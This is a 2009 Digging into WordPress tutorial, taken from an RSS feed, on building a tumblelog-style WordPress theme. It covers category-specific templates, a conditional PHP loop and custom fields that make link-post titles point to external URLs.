<p>A good example of this involves the clever way in which titles for &ldquo;Link-category&rdquo; posts link to the showcase <acronym title="Uniform Resource Locator">URL</acronym> rather than to the post itself. Other post types may be styled with different colors, meta information, and anything else that seems appropriate. Bottom line is that a well-designed tumblelog makes it easy and fun to showcase and organize a wide variety of different content types all in one place.</p>
<p>Although I prefer to tumble via <a href="http://perishable.tumblr.com/" title="Perishable on Tumblr">my Tumblr account</a>, I have always wanted to integrate the process into WordPress by designing a tumblelog-style theme. So in this brisk tutorial, that&rsquo;s exactly what we&rsquo;re going to do.</p>
<p><span id="more-232"></span></p>
<p>The goals of our Tumble Theme are as follows:</p>
<ul>
<li>Create categories for each content type: <strong>Links</strong>, <strong>Photos</strong>, <strong>Quotes</strong>, <strong>Dialogue</strong>, and <strong>Video</strong></li>
<li>Create unique category, single, and index views for each content type</li>
<li>Make post title links for the <strong>Link</strong> category point to the showcase <acronym title="Uniform Resource Locator">URL</acronym> instead of the post itself</li>
<li>Also provide a link to the post itself (i.e., single view) for posts in the <strong>Link</strong> category</li>
</ul>
<p>Sound good? Let&rsquo;s <em>dig in!</em></p>
<h3>Step 1: Create the tumblelog categories</h3>
<p>Hopefully this is a no-brainer for everyone, but if not, just log into the WordPress Admin and do the following:</p>
<ol>
<li>Navigate to <strong>Posts &gt; Categories &gt; Add New</strong></li>
<li>Create categories for each content type: <strong>Links</strong>, <strong>Photos</strong>, <strong>Quotes</strong>, <strong>Dialogue</strong>, and <strong>Video</strong></li>
<li>Make note of the category ID for each category by hovering over the newly created category link in the right-hand column (the category ID will appear at the end of the URL shown in your browser&rsquo;s status bar &#8212; tedious, I know)</li>
</ol>
<p>Once you have created the categories and have their associated IDs, it&rsquo;s time to create some template pages!</p>
<h3>Step 2: Create the index.php template page</h3>
<p>To continue, you will need to setup the basic files needed to create a theme. There are many good theme templates available online, including my recently released <a href="http://digwp.com/2009/07/free-html-5-wordpress-theme/" title="Free HTML 5 WordPress Theme Template">H5 Theme</a>, which is written in valid, fully functional <acronym title="Hypertext Markup Language">HTML</acronym>&nbsp;5. Once you have the basic files setup, replace the contents of the <code>index.php</code> file with the following code:</p>
<pre><code>&lt;?php get_header(); ?&gt;
		&lt;section&gt;
			&lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&gt;
			&lt;?php if(get_post_meta($post-&gt;ID, 'tumbleLinkURL', true)) : ?&gt;

			&lt;article id="post-&lt;?php the_ID(); ?&gt;" class="&lt;?php $category = get_the_category(); echo $category[0]-&gt;cat_name; ?&gt;"&gt;
				&lt;header&gt;
					&lt;h1&gt;&lt;a href="&lt;?php echo get_post_meta($post-&gt;ID, 'tumbleLinkURL', true); ?&gt;" title="&lt;?php echo get_post_meta($post-&gt;ID, 'tumbleLinkTitle', true); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
					&lt;p&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;Posted on &lt;?php the_time('F jS, Y'); ?&gt; by &lt;?php the_author(); ?&gt;&lt;/a&gt;&lt;/p&gt;
				&lt;/header&gt;
				&lt;section&gt;
					&lt;?php the_content('&amp;bull;'); ?&gt;
				&lt;/section&gt;
			&lt;/article&gt;

			&lt;?php else : ?&gt;

			&lt;article id="post-&lt;?php the_ID(); ?&gt;" class="&lt;?php $category = get_the_category(); echo $category[0]-&gt;cat_name; ?&gt;"&gt;
				&lt;header&gt;
					&lt;h1&gt;&lt;a href="&lt;?php the_permalink() ?&gt;" rel="bookmark" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
					&lt;p&gt;Posted on &lt;?php the_time('F jS, Y'); ?&gt; by &lt;?php the_author(); ?&gt;&lt;/p&gt;
				&lt;/header&gt;
				&lt;section&gt;
					&lt;?php the_content('Read more on "'.the_title('', '', false).'" &amp;raquo;'); ?&gt;
				&lt;/section&gt;
				&lt;footer&gt;
					&lt;p&gt;&lt;?php the_tags('Tags: ', ', ', '&lt;br&gt;'); ?&gt; Posted in &lt;?php the_category(', '); ?&gt; &amp;bull; &lt;?php edit_post_link('Edit', '', ' &amp;bull; '); ?&gt; &lt;?php comments_popup_link('Respond to this post &amp;raquo;', '1 Response &amp;raquo;', '% Responses &amp;raquo;'); ?&gt;&lt;/p&gt;
				&lt;/footer&gt;
			&lt;/article&gt;

			&lt;?php endif; ?&gt;
			&lt;?php endwhile; ?&gt;
			&lt;nav&gt;
				&lt;p&gt;&lt;?php posts_nav_link('&amp;nbsp;&amp;bull;&amp;nbsp;'); ?&gt;&lt;/p&gt;
			&lt;/nav&gt;
			&lt;?php else : ?&gt;
			&lt;article&gt;
				&lt;h1&gt;Not Found&lt;/h1&gt;
				&lt;p&gt;Sorry, but the requested resource was not found on this site.&lt;/p&gt;
				&lt;?php get_search_form(); ?&gt;
			&lt;/article&gt;
			&lt;?php endif; ?&gt;
		&lt;/section&gt;
&lt;?php get_sidebar(); ?&gt;
&lt;?php get_footer(); ?&gt;</code></pre>
<p>Basically what we are doing with this conditional loop configuration is checking to see if there is a custom-field value set for our <strong>Link</strong> category titles. There will be two custom fields &#8212; <code>tumbleLinkURL</code> and <code>tumbleLinkTitle</code> &#8212; used for each post title in the <strong>Link</strong> category, and we will discuss each of them a little further in the tutorial.</p>
<p>The key here is that, when the custom field is detected as having a value, our conditional loop will process the code for the <strong>Link</strong> category; otherwise, the standard loop is processed for posts in all other (non-Link) categories.</p>
<p>The other important thing that we are doing here enables us to style the posts for each category in its own unique way. To do this, we are simply adding a <code>class</code> attribute to the outer post element (the <code>&lt;article&gt;</code> tag in our &ldquo;H5&rdquo;-based example). The value of the article class will be the name of the category to which the current post belongs. This enables us to style each different type of post according to the following <acronym title="Cascading Style Sheets">CSS</acronym> logic:</p>
<pre><code>.links {}
.photos {}
.quotes {}
.dialogue {}
.video {}</code></pre>
<p>The WordPress code we are using to implement this class-attribute functionality is as follows:</p>
<pre><code>&lt;?php
	$category = get_the_category(); 
	echo $category[0]-&gt;cat_name;
?&gt;</code></pre>
<p>..which is basically getting the list of associated categories as an array and then echoing the first one to the browser (as the class name in our example).</p>
<p>With the <code>index.php</code> file in order, we are ready to setup the unique, topic-specific category pages.</p>
<h3>Step 3: Setup the topic-specific category pages</h3>
<p>This step is actually a lot easier than it sounds thanks to WordPress&rsquo; <a href="http://codex.wordpress.org/Template_Hierarchy" title="WordPress Codex: Template Hierarchy">Template Hierarchy</a>. In the case of categories, the template hierarchy dictates that any file named &ldquo;<code>category-n.php</code>&rdquo; (where &ldquo;<code>n</code>&rdquo; is a specific category ID) will be processed instead of the default <code>category.php</code> file.</p>
<p>This means that for us to customize each of our five different tumblelog category views, we simply need to create five category template files corresponding to our five category IDs. So, if our five category IDs are <code>1</code> through <code>5</code>, we would create the following theme files:</p>
<ul>
<li>category-1.php</li>
<li>category-2.php</li>
<li>category-3.php</li>
<li>category-4.php</li>
<li>category-5.php</li>
</ul>
<p>With these files in place, you are well-equipped to completely customize the category archive views for your five different tumblelog content types. You may wish to start by copying and pasting the code from your regular <code>category.php</code> file, and then modify and customize the code to get the category-specific functionality you desire.</p>
<p>Once this is done, it&rsquo;s time to move on to the single-post views!</p>
<h3>Step 4: Setup the topic-specific single-post views</h3>
<p>There are two routes available for this step, depending on the level of customization you desire. The first and easiest way to setup and style customized single-post views (i.e., pages generated via your <code>single.php</code> file) is to take advantage of our previously employed category-specific class attributes. By simply using our dual-loop <code>index.php</code> code, generating custom styles for our single-view pages requires a minimal amount of modification.</p>
<p>The second, more flexible method of implementing category-specific single-post views is to place the place the following code in our theme&rsquo;s <code>single.php</code> file:</p>
<pre><code>&lt;?php $post = $wp_query-&gt;post;
		  if (in_category('1')) {
		include(TEMPLATEPATH . '/single-1.php');
	} elseif (in_category('2')) {
		include(TEMPLATEPATH . '/single-2.php');
	} elseif (in_category('3')) {
		include(TEMPLATEPATH . '/single-3.php');
	} elseif (in_category('4')) {
		include(TEMPLATEPATH . '/single-4.php');
	} elseif (in_category('5')) {
		include(TEMPLATEPATH . '/single-5.php');
	} else {
		include(TEMPLATEPATH . '/single-other.php');
} ?&gt;</code></pre>
<p>Once in place, this code will check the category of the post and deliver it via its own custom single-view template. For example, posts that belong to category-ID <code>1</code> (i.e., the <strong>Link</strong> category) will be generated via the <code>single-1.php</code> file, and so on. This makes it super easy to customize each single-post type in any way imaginable. Of course, don&rsquo;t forget to create the six &ldquo;custom-single&rdquo; files: five for each of our tumblelog topics and and another for posts in all other categories.</p>
<p>So far so good. At this point, we have equipped our Tumble Theme with some great tumblelog functionality. Our final step is to create a few posts and demonstrate how the custom fields operate.</p>
<h3>Step 5: Using the custom fields</h3>
<p>Now that everything is setup and ready to tumble, it&rsquo;s time to create a few test posts to ensure that everything is working out as intended. Try creating a post for each of our five categories and check their different views &#8212; Index, Category, and Single &#8212; in your browser. As you verify your tumblelog functionality, notice that your <strong>Link</strong>-category posts are still using the post permalink for the title <acronym title="Uniform Resource Locator">URL</acronym>. So, for our final stunt, let&rsquo;s implement a little custom-field magic to transform our <strong>Link</strong>-category titles into proper showcase links.</p>
<p>For each of your <strong>Link</strong>-category posts, add the following custom-field key/value pair:</p>
<p><img src="http://digwp.com/wp-content/blog-images/tumblelog-fields.gif" alt="[ Custom-field values for tumblelog links ]" title="The two custom-field values used for our custom title links" width="573" height="221" /><br /><small>The two custom-field values used for our custom title links</small></p>
<p>Of course, for each <strong>Link</strong>-category post, change the value of the <code>tumbleLinkURL</code> and <code>tumbleLinkTitle</code> to match the <acronym title="Uniform Resource Locator">URL</acronym> and title attribute for your showcase link. That&rsquo;s all there is to it! Thanks to the awesome dual-loop setup we implemented in Step 1, your <strong>Link</strong>-category titles will now point directly to the web page that you are tumbling about.</p>
<h3>Wrap-up</h3>
<p>Hopefully this tutorial will help those of you wanting to transform your WordPress site into a tumblelog. For the sake of clarity and expediency, I have left most of our Tumble Theme&rsquo;s markup, styling, and scripting up to you, but all of the essential functionality has been covered. If there is enough interest in this tutorial, I will see about putting together a fully-loaded Tumble Theme for download here at <a href="http://digwp.com/" title="Digging into WordPress">Digging into WordPress</a>!</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/07/tumblelog-theme-wordpress/">Permalink</a> | <a href="http://digwp.com/2009/07/tumblelog-theme-wordpress/#comments">22 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/07/tumblelog-theme-wordpress/&title=How to Design a Tumblelog Theme for WordPress">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/custom-fields/" rel="tag">custom-fields</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/theme/" rel="tag">Theme</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/07/tumblelog-theme-wordpress/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>

